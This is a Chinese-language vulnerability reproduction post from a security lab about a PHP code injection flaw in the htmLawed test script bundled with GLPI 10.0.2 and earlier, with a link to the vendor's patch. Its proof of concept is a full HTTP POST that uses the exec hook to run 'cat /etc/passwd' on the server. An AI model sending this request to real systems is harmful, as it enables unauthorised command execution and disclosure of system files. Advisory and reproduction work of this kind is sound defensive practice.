日期：
来源：弥天安全实验室收集编辑：弥天安全实验室
网安引领时代，弥天点亮未来
GLPI是个人开发者的一款开源IT和资产管理软件。该软件提供功能全面的IT资源管理接口，你可以用它来建立数据库全面管理IT的电脑，显示器，服务器，打印机，网络设备，电话，甚至硒鼓和墨盒等。GLPI 10.0.2及之前版本存在安全漏洞，该漏洞源于htmlawed 模块中的/vendor/htmlawed/htmlawed/htmLawedTest.php允许 PHP 代码注入。
GLPI 10.0.2及之前版本存在安全漏洞
1.访问漏洞环境
2.对漏洞进行复现
POC
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1Host:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36Connection: closeContent-Length: 39Content-Type: application/x-www-form-urlencodedCookie: sid=fooAccept-Encoding: gzipsid=foo&hhook=exec&text=cat+/etc/passwd
3.nuclei工具测试（漏洞存在）
目前厂商已发布升级补丁以修复漏洞
https://glpi-project.org/fr/glpi-10-0-3-disponible/弥天简介
学海浩茫，予以风动，必降弥天之润！弥天弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。
口号 网安引领时代，弥天点亮未来
知识分享完了
喜欢别忘了关注我们哦~
弥 天
安全实验室